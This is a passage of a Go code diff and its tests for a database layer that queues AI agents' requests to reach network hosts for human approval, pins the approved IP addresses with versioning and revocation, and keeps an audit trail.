+	Host      string
+	Port      int
+	RuleID    int64 // owning rule of a merged ask; 0 otherwise
+	AgentName string
+	ToolName  string
+	ToolInput []byte
+	Reason    string
+	Audit     *InterceptAudit
+}
+
+// FindOrCreateTargetRequest returns the open request for (scope, host, port),
+// creating it when there is none. At most one such row is open at a time
+// (uq_intercept_pending_target), across goroutines and across instances that
+// share the database, so concurrent calls to one host share one request.
+// created reports whether this call wrote the row. id == 0 means the request
+// that was open got decided in between: the caller goes back to the pin lookup.
+func (d *DB) FindOrCreateTargetRequest(r TargetRequest) (id int64, created bool, err error) {
+	if err := r.Scope.check(); err != nil {
+		return 0, false, err
+	}
+	raw := json.RawMessage(r.ToolInput)
+	if len(raw) == 0 {
+		raw = json.RawMessage("{}")
+	}
+	var ruleID *int64
+	if r.RuleID != 0 {
+		ruleID = &r.RuleID
+	}
+	taskID, convID := r.Scope.pendingScope()
+	key := TargetKey(r.Host, r.Port)
+	err = d.QueryRow(`
+INSERT INTO intercept_pending(rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, reason, decision_source, audit, target_key)
+VALUES ($1, $2, $3, $4, $5, $6, $7, 'target', $8, $9)
+ON CONFLICT (COALESCE(task_id,''), COALESCE(conversation_id,0), target_key)
+    WHERE status = 'pending' AND target_key IS NOT NULL
+DO NOTHING RETURNING id`,
+		ruleID, convID, taskID, r.AgentName, r.ToolName, raw, r.Reason, firstAudit([]*InterceptAudit{r.Audit}), key).Scan(&id)
+	if err == nil {
+		return id, true, nil
+	}
+	if !errors.Is(err, sql.ErrNoRows) {
+		return 0, false, err
+	}
+	taskKey := ""
+	if taskID != nil {
+		taskKey = *taskID
+	}
+	err = d.QueryRow(`SELECT id FROM intercept_pending
+WHERE COALESCE(task_id,'')=$1 AND COALESCE(conversation_id,0)=$2 AND target_key=$3 AND status='pending'`,
+		taskKey, r.Scope.ConversationID, key).Scan(&id)
+	if errors.Is(err, sql.ErrNoRows) {
+		return 0, false, nil
+	}
+	return id, false, err
+}
+
+// TargetRequestKey returns the target key of an approval row: "" for a classic
+// ask and for an id that does not exist.
+func (d *DB) TargetRequestKey(id int64) (string, error) {
+	var key sql.NullString
+	err := d.QueryRow(`SELECT target_key FROM intercept_pending WHERE id=$1`, id).Scan(&key)
+	if errors.Is(err, sql.ErrNoRows) {
+		return "", nil
+	}
+	return key.String, err
+}
+
+// ResolveTargetRequest settles an open target request with a human decision, in
+// one transaction. Allowed pins the addresses the request displayed: the active
+// pin of the same key, if any, becomes superseded and a new version holds its
+// addresses plus the displayed ones (addresses leave only by revocation).
+// Denied pins nothing. approver and remoteAddr go to the pin and to the row's
+// audit; decided_by on the row stays the actor class, human. ok is false when
+// the row is not an open target request. If the pin cannot be written the row
+// stays pending.
+func (d *DB) ResolveTargetRequest(id int64, allowed bool, approver, remoteAddr string) (pin *TargetPin, ok bool, err error) {
+	tx, err := d.Begin()
+	if err != nil {
+		return nil, false, err
+	}
+	defer tx.Rollback()
+	var taskID sql.NullString
+	var convID sql.NullInt64
+	var raw []byte
+	err = tx.QueryRow(`SELECT task_id, conversation_id, audit FROM intercept_pending
+WHERE id=$1 AND status='pending' AND target_key IS NOT NULL FOR UPDATE`, id).Scan(&taskID, &convID, &raw)
+	if errors.Is(err, sql.ErrNoRows) {
+		return nil, false, nil
+	}
+	if err != nil {
+		return nil, false, err
+	}
+	var audit InterceptAudit
+	if len(raw) > 0 {
+		if err := json.Unmarshal(raw, &audit); err != nil {
+			return nil, false, err
+		}
+	}
+	status, action, reason, execution := "denied", "deny", "user rejected the target; nothing was pinned", "not_executed"
+	if allowed {
+		if len(audit.Targets) != 1 {
+			return nil, false, fmt.Errorf("target request %d records %d targets, want 1", id, len(audit.Targets))
+		}
+		scope := TargetScopeRef{ConversationID: convID.Int64}
+		if taskID.Valid {
+			if scope.TaskID, err = strconv.ParseInt(taskID.String, 10, 64); err != nil {
+				return nil, false, fmt.Errorf("target request %d: task id %q: %w", id, taskID.String, err)
+			}
+		}
+		if pin, err = writeTargetPin(tx, scope, id, &audit.Targets[0], approver, remoteAddr); err != nil {
+			return nil, false, err
+		}
+		status, action, reason = "allowed", "allow", "user approved the target; the displayed addresses were pinned"
+		// A plain target request is host-level: no single call owns its result.
+		execution = "unknown"
+		if audit.MergedAsk && audit.Correlation == "exact" {
+			execution = "awaiting_result"
+		}
+	} else if len(audit.Targets) == 1 {
+		audit.Targets[0].Outcome = "denied"
+	}
+	fields := map[string]any{
+		"effective_action": action, "decision_reason": reason, "execution_status": execution,
+		"targets": audit.Targets,
+	}
+	if approver != "" {
+		fields["approver"] = approver
+	}
+	if remoteAddr != "" {
+		fields["approver_addr"] = remoteAddr
+	}
+	patch, err := json.Marshal(fields)
+	if err != nil {
+		return nil, false, err
+	}
+	if _, err := tx.Exec(`UPDATE intercept_pending SET status=$2, decided_at=NOW(), decided_by='human',
+	audit=COALESCE(audit,'{}'::jsonb) || $3::jsonb WHERE id=$1`, id, status, patch); err != nil {
+		return nil, false, err
+	}
+	if err := tx.Commit(); err != nil {
+		return nil, false, err
+	}
+	return pin, true, nil
+}
+
+// writeTargetPin inserts the pin an approved request creates and fills the
+// request's target with what was pinned. The only writer of target_pins rows.
+func writeTargetPin(tx *sql.Tx, scope TargetScopeRef, interceptID int64, t *InterceptTarget, approver, remoteAddr string) (*TargetPin, error) {
+	if err := scope.check(); err != nil {
+		return nil, err
+	}
+	// Versions count every pin the key ever had, revoked ones included, so a
+	// version number names one pin of the key for good.
+	var version int
+	if err := tx.QueryRow(`SELECT COALESCE(max(version),0)+1 FROM target_pins
+WHERE `+targetPinScope+` AND host=$3 AND port=$4`, scope.TaskID, scope.ConversationID, t.Host, t.Port).Scan(&version); err != nil {
+		return nil, err
+	}
+	ips := map[string]bool{}
+	for _, ip := range t.ResolvedIPs {
+		ips[ip] = true
+	}
+	prev, err := scanTargetPin(tx.QueryRow(`SELECT `+targetPinCols+` FROM target_pins
+WHERE `+targetPinScope+` AND host=$3 AND port=$4 AND status='active' FOR UPDATE`, scope.TaskID, scope.ConversationID, t.Host, t.Port))
+	switch {
+	case errors.Is(err, sql.ErrNoRows):
+	case err != nil:
+		return nil, err
+	default:
+		for _, ip := range prev.PinnedIPs {
+			ips[ip] = true
+		}
+		if _, err := tx.Exec(`UPDATE target_pins SET status='superseded' WHERE id=$1`, prev.ID); err != nil {
+			return nil, err
+		}
+	}
+	pinned := make([]string, 0, len(ips))
+	for ip := range ips {
+		pinned = append(pinned, ip)
+	}
+	sort.Strings(pinned)
+	var taskID, convID *int64
+	if scope.TaskID > 0 {
+		taskID = &scope.TaskID
+	} else {
+		convID = &scope.ConversationID
+	}
+	resolvedAt := t.ResolvedAt
+	if resolvedAt.IsZero() {
+		resolvedAt = time.Now().UTC()
+	}
+	pin, err := scanTargetPin(tx.QueryRow(`
+INSERT INTO target_pins(task_id, conversation_id, host, port, version, pinned_ips, resolver, resolved_at, intercept_id, decided_by, decided_from, name_only_effective)
+VALUES ($1, $2, $3, $4, $5, $6::text[], $7, $8, $9, $10, $11, $12)
+RETURNING `+targetPinCols,
+		taskID, convID, t.Host, t.Port, version, pinned, t.Resolver, resolvedAt, interceptID, approver, remoteAddr, t.NameOnlyEffective))
+	if err != nil {
+		return nil, err
+	}
+	t.Outcome, t.PinID, t.PinVersion, t.PinnedIPs = "pinned", pin.ID, pin.Version, pin.PinnedIPs
+	return pin, nil
+}

db/target_pins_test.go

@@ -0,0 +1,924 @@
+package db
+
+import (
+	"bytes"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"slices"
+	"strconv"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"github.com/jackc/pgx/v5/pgconn"
+)
+
+func openTargetDB(t *testing.T) *DB {
+	t.Helper()
+	d, err := Open(testDSN(t))
+	if err != nil {
+		t.Skipf("postgres unavailable (%v) - skipping", err)
+	}
+	t.Cleanup(func() { d.Close() })
+	return d
+}
+
+// targetTask creates a task and removes it, its pins and its approval rows at
+// the end of the test (pins and approval rows outlive a task delete by design).
+func targetTask(t *testing.T, d *DB, opts TaskCreateOptions) *Task {
+	t.Helper()
+	task, err := d.CreateTaskWithOptions("target gate store", "pins and requests", opts)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_ = d.DeleteTask(task.ID)
+		_, _ = d.Exec(`DELETE FROM target_pins WHERE task_id=$1`, task.ID)
+		_, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, strconv.FormatInt(task.ID, 10))
+	})
+	return task
+}
+
+func targetConversation(t *testing.T, d *DB) *Conversation {
+	t.Helper()
+	c, err := d.CreateConversation("assistant", fmt.Sprintf("target gate %d", time.Now().UnixNano()), nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_ = d.DeleteConversation(c.ID)
+		_, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, c.ID)
+	})
+	return c
+}
+
+// openTargetRequest opens the request for (scope, host, port) showing ips.
+func openTargetRequest(t *testing.T, d *DB, scope TargetScopeRef, host string, port int, ips ...string) (int64, bool) {
+	t.Helper()
+	id, created, err := d.FindOrCreateTargetRequest(TargetRequest{
+		Scope: scope, Host: host, Port: port, AgentName: "worker", ToolName: "WebFetch",
+		ToolInput: []byte(`{"url":"https://` + host + `/"}`), Reason: "target " + host + " is not approved",
+		Audit: &InterceptAudit{
+			Correlation: "unavailable", InitialAction: "ask", ExecutionStatus: "not_started",
+			Targets: []InterceptTarget{{Host: host, Port: port, Kind: "domain", ResolvedIPs: ips, Resolver: "system",
+				ResolvedAt: time.Now().UTC(), Reason: "no_pin", Outcome: "requested"}},
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	return id, created
+}
+
+// approveTarget opens a request for the key and approves it.
+func approveTarget(t *testing.T, d *DB, scope TargetScopeRef, host string, port int, ips ...string) *TargetPin {
+	t.Helper()
+	id, created := openTargetRequest(t, d, scope, host, port, ips...)
+	if !created {
+		t.Fatalf("a request for %s:%d was already open", host, port)
+	}
+	pin, ok, err := d.ResolveTargetRequest(id, true, "ARTEX", "198.51.100.9")
+	if err != nil || !ok || pin == nil {
+		t.Fatalf("approve %s:%d: pin=%+v ok=%v err=%v", host, port, pin, ok, err)
+	}
+	return pin
+}
+
+func pendingTargetRows(t *testing.T, d *DB, scope TargetScopeRef) int {
+	t.Helper()
+	var n int
+	task := ""
+	if scope.TaskID > 0 {
+		task = strconv.FormatInt(scope.TaskID, 10)
+	}
+	if err := d.QueryRow(`SELECT count(*) FROM intercept_pending
+WHERE COALESCE(task_id,'')=$1 AND COALESCE(conversation_id,0)=$2 AND status='pending' AND target_key IS NOT NULL`,
+		task, scope.ConversationID).Scan(&n); err != nil {
+		t.Fatal(err)
+	}
+	return n
+}
+
+// The whole schema is applied on every start. Applying it again must change
+// nothing, add no CHECK to the gate's tables, and leave the cascade of
+// intercept_pending.conversation_id as it is.
+func TestTargetGateSchemaIdempotent(t *testing.T) {
+	snapshot := func() string {
+		t.Helper()
+		d := openTargetDB(t)
+		var b strings.Builder
+		for _, q := range []string{
+			`SELECT table_name||'.'||column_name||' '||data_type||' null='||is_nullable||' default='||COALESCE(column_default,'')
+FROM information_schema.columns
+WHERE table_schema=current_schema() AND (table_name IN ('target_pins','target_gate_exemption_log')
+   OR (table_name IN ('tasks','conversations') AND column_name='target_gate')
+   OR (table_name='intercept_pending' AND column_name='target_key'))
+ORDER BY table_name, ordinal_position`,
+			`SELECT indexdef FROM pg_indexes WHERE schemaname=current_schema()
+AND (tablename IN ('target_pins','target_gate_exemption_log') OR indexname='uq_intercept_pending_target') ORDER BY indexname`,
+			`SELECT conrelid::regclass::text||' '||conname||' '||contype::text||' '||confdeltype::text FROM pg_constraint
+WHERE conrelid IN ('target_pins'::regclass,'target_gate_exemption_log'::regclass,'intercept_pending'::regclass)
+AND contype IN ('c','f','p','u') ORDER BY 1`,
+		} {
+			rows, err := d.Query(q)
+			if err != nil {
+				t.Fatal(err)
+			}
+			for rows.Next() {
+				var line string
+				if err := rows.Scan(&line); err != nil {
+					t.Fatal(err)
+				}
+				b.WriteString(line + "\n")
+			}
+			if err := rows.Err(); err != nil {
+				t.Fatal(err)
+			}
+			rows.Close()
+		}
+		return b.String()
+	}
+	first := snapshot()  // Open applied the schema
+	second := snapshot() // and applied it again
+	if first != second {
+		t.Fatalf("schema changed on the second application:\n--- first\n%s--- second\n%s", first, second)
+	}
+	for _, want := range []string{
+		"tasks.target_gate boolean null=NO default=false",
+		"conversations.target_gate boolean null=NO default=false",
+		"intercept_pending.target_key text null=YES default=",
+		"target_pins.name_only_effective boolean null=NO default=false",
+		"target_gate_exemption_log.digest text",
+		"uq_intercept_pending_target",
+		"uq_target_pins_active",
+		"idx_target_pins_scope",
+		// The cascade stays: no constraint migration.
+		"intercept_pending intercept_pending_conversation_id_fkey f c",
+	} {
+		if !strings.Contains(first, want) {
+			t.Errorf("schema snapshot lacks %q:\n%s", want, first)
+		}
+	}
+	// Only primary keys on the new tables: no CHECK, no foreign key.
+	for _, line := range strings.Split(first, "\n") {
+		if (strings.HasPrefix(line, "target_pins ") || strings.HasPrefix(line, "target_gate_exemption_log ")) && !strings.Contains(line, "_pkey p ") {
+			t.Errorf("unexpected constraint on a target-gate table: %s", line)
+		}
+	}
+}
+
+// Many callers, two instances, one key: exactly one open row, and every caller
+// gets its id. This is what proves that ON CONFLICT infers the partial
+// expression index.
+func TestTargetRequestFindOrCreateIsIdempotent(t *testing.T) {
+	a, b := openTargetDB(t), openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, a, TaskCreateOptions{}).ID}
+	const callers = 24
+	ids := make([]int64, callers)
+	made := make([]bool, callers)
+	var wg sync.WaitGroup
+	for n := range callers {
+		inst := a
+		if n%2 == 1 {
+			inst = b
+		}
+		wg.Go(func() {
+			id, created, err := inst.FindOrCreateTargetRequest(TargetRequest{
+				Scope: scope, Host: "app.example.com", Port: 443, ToolName: "WebFetch", Reason: "concurrent",
+				Audit: &InterceptAudit{Targets: []InterceptTarget{{Host: "app.example.com", Port: 443, ResolvedIPs: []string{"203.0.113.7"}}}},
+			})
+			if err != nil {
+				t.Error(err)
+			}
+			ids[n], made[n] = id, created
+		})
+	}
+	wg.Wait()
+	created := 0
+	for n := range callers {
+		if ids[n] == 0 || ids[n] != ids[0] {
+			t.Fatalf("callers got different requests: %v", ids)
+		}
+		if made[n] {
+			created++
+		}
+	}
+	if created != 1 {
+		t.Fatalf("%d callers created the row, want 1", created)
+	}
+	if n := pendingTargetRows(t, a, scope); n != 1 {
+		t.Fatalf("%d open rows, want 1", n)
+	}
+	// Another port, another scope: other keys, other rows.
+	if id, made := openTargetRequest(t, a, scope, "app.example.com", 80, "203.0.113.7"); !made || id == ids[0] {
+		t.Fatalf("port 80 shared the row of port 443 (id=%d created=%v)", id, made)
+	}
+	conv := targetConversation(t, a)
+	if id, made := openTargetRequest(t, a, TargetScopeRef{ConversationID: conv.ID}, "app.example.com", 443, "203.0.113.7"); !made || id == ids[0] {
+		t.Fatalf("a conversation shared the row of a task (id=%d created=%v)", id, made)
+	}
+	var source string
+	var key *string
+	if err := a.QueryRow(`SELECT decision_source, target_key FROM intercept_pending WHERE id=$1`, ids[0]).Scan(&source, &key); err != nil {
+		t.Fatal(err)
+	}
+	if source != "target" || key == nil || *key != "app.example.com:443" {
+		t.Fatalf("row source=%q key=%v, want target and app.example.com:443", source, key)
+	}
+}
+
+// A decided request does not block the key: the next call opens a new row.
+// There is no sticky denial.
+func TestTargetRequestNewRowAfterDecision(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	first, _ := openTargetRequest(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	if again, made := openTargetRequest(t, d, scope, "app.example.com", 443, "203.0.113.7"); made || again != first {
+		t.Fatalf("second call got id=%d created=%v, want to attach to %d", again, made, first)
+	}
+	if pin, ok, err := d.ResolveTargetRequest(first, false, "ARTEX", "198.51.100.9"); err != nil || !ok || pin != nil {
+		t.Fatalf("deny: pin=%+v ok=%v err=%v", pin, ok, err)
+	}
+	// A second decision on the same row is refused and changes nothing.
+	if _, ok, err := d.ResolveTargetRequest(first, true, "ARTEX", "198.51.100.9"); err != nil || ok {
+		t.Fatalf("second decision: ok=%v err=%v, want refused", ok, err)
+	}
+	if pins, err := d.ListTargetPins(scope); err != nil || len(pins) != 0 {
+		t.Fatalf("a denied request left pins: %+v err=%v", pins, err)
+	}
+	second, made := openTargetRequest(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	if !made || second == first {
+		t.Fatalf("after a denial: id=%d created=%v, want a new row", second, made)
+	}
+	if key, err := d.TargetRequestKey(second); err != nil || key != "app.example.com:443" {
+		t.Fatalf("target key = %q, %v", key, err)
+	}
+	classic, err := d.CreateInterceptPending(0, 0, strconv.FormatInt(scope.TaskID, 10), "worker", "Bash", nil, "classic ask")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if key, err := d.TargetRequestKey(classic); err != nil || key != "" {
+		t.Fatalf("classic ask has target key %q, %v", key, err)
+	}
+	// A classic ask is not a target request: it cannot be resolved as one.
+	if _, ok, err := d.ResolveTargetRequest(classic, true, "ARTEX", ""); err != nil || ok {
+		t.Fatalf("classic ask resolved as a target request: ok=%v err=%v", ok, err)
+	}
+}
+
+// Settling the row, superseding the old pin and writing the new one are one
+// transaction: when the pin cannot be written the row stays pending and the
+// previous pin stays active.
+func TestResolveTargetRequestIsAtomic(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	const host = "pin-insert-fails.example.com"
+	v1 := approveTarget(t, d, scope, host, 443, "203.0.113.7")
+
+	if _, err := d.Exec(`CREATE OR REPLACE FUNCTION test_refuse_target_pin() RETURNS trigger AS $$
+BEGIN
+  IF NEW.host = '` + host + `' THEN RAISE EXCEPTION 'pin insert refused by the test'; END IF;
+  RETURN NEW;
+END $$ LANGUAGE plpgsql`); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_, _ = d.Exec(`DROP TRIGGER IF EXISTS test_refuse_target_pin ON target_pins`)
+		_, _ = d.Exec(`DROP FUNCTION IF EXISTS test_refuse_target_pin()`)
+	})
+	if _, err := d.Exec(`CREATE TRIGGER test_refuse_target_pin BEFORE INSERT ON target_pins
+FOR EACH ROW EXECUTE FUNCTION test_refuse_target_pin()`); err != nil {
+		t.Fatal(err)
+	}
+
+	id, _ := openTargetRequest(t, d, scope, host, 443, "203.0.113.99")
+	if pin, ok, err := d.ResolveTargetRequest(id, true, "ARTEX", "198.51.100.9"); err == nil || ok || pin != nil {
+		t.Fatalf("approval with a failing pin insert: pin=%+v ok=%v err=%v, want an error", pin, ok, err)
+	}
+	row, err := d.GetInterceptPending(id)
+	if err != nil || row == nil || row.Status != "pending" || row.DecidedBy != "" {
+		t.Fatalf("row after the failed approval = %+v, %v; want still pending", row, err)
+	}
+	active, err := d.ActiveTargetPins(scope, host, 443)
+	if err != nil || len(active) != 1 || active[0].ID != v1.ID || active[0].Version != 1 {
+		t.Fatalf("active pins after the failed approval = %+v, %v; want v1 untouched", active, err)
+	}
+
+	// Without the failure the same row is approved.
+	if _, err := d.Exec(`DROP TRIGGER test_refuse_target_pin ON target_pins`); err != nil {
+		t.Fatal(err)
+	}
+	if pin, ok, err := d.ResolveTargetRequest(id, true, "ARTEX", "198.51.100.9"); err != nil || !ok || pin == nil || pin.Version != 2 {
+		t.Fatalf("approval after the failure was removed: pin=%+v ok=%v err=%v", pin, ok, err)
+	}
+}
+
+// Approving a request for a pinned key extends the pin: the new version holds
+// the old addresses plus the displayed ones. Addresses leave only by revocation.
+func TestTargetPinVersioningExtends(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	v1 := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	if v1.Version != 1 || !slices.Equal(v1.PinnedIPs, []string{"203.0.113.7"}) || v1.Status != TargetPinActive ||
+		v1.DecidedBy != "ARTEX" || v1.DecidedFrom != "198.51.100.9" || v1.Resolver != "system" || v1.InterceptID == nil ||
+		v1.TaskID == nil || *v1.TaskID != scope.TaskID || v1.ConversationID != nil || v1.NameOnlyEffective {
+		t.Fatalf("v1 = %+v", v1)
+	}
+	v2 := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.9", "203.0.113.7", "203.0.113.8")
+	if v2.Version != 2 || !slices.Equal(v2.PinnedIPs, []string{"203.0.113.7", "203.0.113.8", "203.0.113.9"}) {
+		t.Fatalf("v2 = %+v, want version 2 with the union, sorted", v2)
+	}
+	pins, err := d.ListTargetPins(scope)
+	if err != nil || len(pins) != 2 || pins[0].ID != v2.ID || pins[0].Status != TargetPinActive ||
+		pins[1].ID != v1.ID || pins[1].Status != TargetPinSuperseded {
+		t.Fatalf("pins = %+v, %v; want v2 active then v1 superseded", pins, err)
+	}
+	// The request row records what was pinned and by whom; decided_by on the row
+	// stays the actor class.
+	detail, err := d.GetInterceptDetail(*v2.InterceptID)
+	if err != nil || detail == nil || detail.Status != "allowed" || detail.DecidedBy != "human" || detail.DecisionSource != "target" ||
+		detail.Audit == nil || detail.Audit.Approver != "ARTEX" || detail.Audit.ApproverAddr != "198.51.100.9" ||
+		detail.Audit.EffectiveAction != "allow" || len(detail.Audit.Targets) != 1 {
+		t.Fatalf("request row = %+v, %v", detail, err)
+	}
+	if got := detail.Audit.Targets[0]; got.Outcome != "pinned" || got.PinID != v2.ID || got.PinVersion != 2 || len(got.PinnedIPs) != 3 {
+		t.Fatalf("recorded target = %+v", got)
+	}
+}
+
+// One active pin per key is a database fact, across instances.
+func TestTargetPinOneActivePerKey(t *testing.T) {
+	a, b := openTargetDB(t), openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, a, TaskCreateOptions{}).ID}
+	approveTarget(t, a, scope, "app.example.com", 443, "203.0.113.7")
+	insert := func(port int, status string) error {
+		_, err := b.Exec(`INSERT INTO target_pins(task_id, host, port, version, pinned_ips, status)
+VALUES ($1, 'app.example.com', $2, 9, '{203.0.113.99}', $3)`, scope.TaskID, port, status)
+		return err
+	}
+	var pgErr *pgconn.PgError
+	if err := insert(443, "active"); !errors.As(err, &pgErr) || pgErr.Code != "23505" {
+		t.Fatalf("second active pin on one key: %v, want a unique violation", err)
+	}
+	if err := insert(443, "superseded"); err != nil {
+		t.Fatalf("a non-active pin on the same key must be allowed: %v", err)
+	}
+	if err := insert(8443, "active"); err != nil {
+		t.Fatalf("an active pin on another port must be allowed: %v", err)
+	}
+	approveTarget(t, b, scope, "app.example.com", 443, "203.0.113.8")
+	var active int
+	if err := a.QueryRow(`SELECT count(*) FROM target_pins WHERE task_id=$1 AND host='app.example.com' AND port=443 AND status='active'`,
+		scope.TaskID).Scan(&active); err != nil || active != 1 {
+		t.Fatalf("%d active pins on the key after a second approval (%v), want 1", active, err)
+	}
+}
+
+func TestTargetPinRevokeIdempotent(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	other := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+
+	// Another scope cannot see or revoke the pin.
+	if got, err := d.RevokeTargetPin(other, pin.ID); err != nil || got != nil {
+		t.Fatalf("revoke through another scope = %+v, %v; want nil", got, err)
+	}
+	if got, err := d.RevokeTargetPin(scope, pin.ID+1000000); err != nil || got != nil {
+		t.Fatalf("revoke of an unknown pin = %+v, %v; want nil", got, err)
+	}
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 1 {
+		t.Fatalf("pin no longer active after foreign revokes: %+v, %v", active, err)
+	}
+
+	first, err := d.RevokeTargetPin(scope, pin.ID)
+	if err != nil || first == nil || first.Status != TargetPinRevoked || first.RevokedReason != TargetPinRevokedByOperator || first.RevokedAt == nil {
+		t.Fatalf("revoke = %+v, %v", first, err)
+	}
+	second, err := d.RevokeTargetPin(scope, pin.ID)
+	if err != nil || second == nil || second.Status != TargetPinRevoked || !second.RevokedAt.Equal(*first.RevokedAt) {
+		t.Fatalf("second revoke = %+v, %v; want the first revocation unchanged", second, err)
+	}
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 0 {
+		t.Fatalf("a revoked pin still matches: %+v, %v", active, err)
+	}
+	// A new approval starts from the displayed addresses only, under a new version.
+	again := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.50")
+	if again.Version != 2 || !slices.Equal(again.PinnedIPs, []string{"203.0.113.50"}) {
+		t.Fatalf("pin after a revocation = %+v, want version 2 holding only the new address", again)
+	}
+}
+
+// A pin on port 0 (port not declared) covers every port of the host. A pin on
+// a specific port covers that port only, and never a target whose port is not
+// declared.
+func TestActiveTargetPinPortPrecedence(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	anyPort := approveTarget(t, d, scope, "both.example.com", 0, "203.0.113.1")
+	exact := approveTarget(t, d, scope, "both.example.com", 443, "203.0.113.2")
+	only443 := approveTarget(t, d, scope, "exact.example.com", 443, "203.0.113.3")
+
+	for _, tc := range []struct {
+		host string
+		port int
+		want []int64
+	}{
+		{"both.example.com", 443, []int64{exact.ID, anyPort.ID}}, // the exact port first
+		{"both.example.com", 80, []int64{anyPort.ID}},
+		{"both.example.com", 8443, []int64{anyPort.ID}},
+		{"both.example.com", 0, []int64{anyPort.ID}}, // never the pin on 443
+		{"exact.example.com", 443, []int64{only443.ID}},
+		{"exact.example.com", 80, nil},
+		{"exact.example.com", 0, nil}, // a specific port never covers "not declared"
+		{"unknown.example.com", 443, nil},
+	} {
+		pins, err := d.ActiveTargetPins(scope, tc.host, tc.port)
+		if err != nil {
+			t.Fatal(err)
+		}
+		var got []int64
+		for _, p := range pins {
+			got = append(got, p.ID)
+		}
+		if !slices.Equal(got, tc.want) {
+			t.Errorf("candidates for %s:%d = %v, want %v", tc.host, tc.port, got, tc.want)
+		}
+	}
+	// The address sets stay apart: each candidate holds its own.
+	pins, _ := d.ActiveTargetPins(scope, "both.example.com", 443)
+	if len(pins) != 2 || !slices.Equal(pins[0].PinnedIPs, []string{"203.0.113.2"}) || !slices.Equal(pins[1].PinnedIPs, []string{"203.0.113.1"}) {
+		t.Fatalf("candidates = %+v, want two pins with separate addresses", pins)
+	}
+}
+
+// A hard delete keeps the gate's history: pins revoked, approval rows readable,
+// no target request left open.
+func TestTaskDeleteKeepsPinsAndApprovalRows(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	other := targetTask(t, d, TaskCreateOptions{})
+	scope := TargetScopeRef{TaskID: task.ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	kept := approveTarget(t, d, TargetScopeRef{TaskID: other.ID}, "app.example.com", 443, "203.0.113.7")
+	open, _ := openTargetRequest(t, d, scope, "new.example.com", 443, "203.0.113.20")
+	classic, err := d.CreateInterceptPending(0, 0, strconv.FormatInt(task.ID, 10), "worker", "Bash", nil, "classic ask")
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	if err := d.DeleteTask(task.ID); err != nil {
+		t.Fatal(err)
+	}
+	pins, err := d.ListTargetPins(scope)
+	if err != nil || len(pins) != 1 || pins[0].ID != pin.ID || pins[0].Status != TargetPinRevoked ||
+		pins[0].RevokedReason != TargetPinRevokedTaskDeleted || pins[0].RevokedAt == nil ||
+		!slices.Equal(pins[0].PinnedIPs, []string{"203.0.113.7"}) || pins[0].DecidedBy != "ARTEX" {
+		t.Fatalf("pins of the deleted task = %+v, %v; want one revoked pin, still readable", pins, err)
+	}
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 0 {
+		t.Fatalf("a pin of the deleted task still matches: %+v, %v", active, err)
+	}
+	if active, err := d.ActiveTargetPins(TargetScopeRef{TaskID: other.ID}, "app.example.com", 443); err != nil || len(active) != 1 || active[0].ID != kept.ID {
+		t.Fatalf("the pin of another task was touched: %+v, %v", active, err)
+	}
+	approved, err := d.GetInterceptDetail(*pin.InterceptID)
+	if err != nil || approved == nil || approved.Status != "allowed" || approved.Audit == nil || approved.Audit.Approver != "ARTEX" {
+		t.Fatalf("approval row of the deleted task = %+v, %v; want still readable", approved, err)
+	}
+	settled, err := d.GetInterceptDetail(open)
+	if err != nil || settled == nil || settled.Status != "denied" || settled.DecidedBy != "system" ||
+		settled.Audit == nil || settled.Audit.EffectiveAction != "deny" || settled.Audit.DecisionReason != "task deleted" {
+		t.Fatalf("open target request after the delete = %+v, %v; want denied by the system", settled, err)
+	}
+	if n := pendingTargetRows(t, d, scope); n != 0 {
+		t.Fatalf("%d target requests still open after the delete", n)
+	}
+	// Classic asks are not the gate's: untouched, as before.
+	if row, err := d.GetInterceptPending(classic); err != nil || row == nil || row.Status != "pending" {
+		t.Fatalf("classic ask after the delete = %+v, %v; want untouched", row, err)
+	}
+}
+
+// archiveTargetTask moves a task into the cold archive and returns the archive
+// id and its snapshot.
+func archiveTargetTask(t *testing.T, d *DB, taskID int64) (int64, *TaskArchiveSnapshot, *bytes.Buffer) {
+	t.Helper()
+	if err := d.EnsureLLMRecordsTable(); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.EnsureLLMUsageTable(); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.SetPaused(taskID, true); err != nil {
+		t.Fatal(err)
+	}
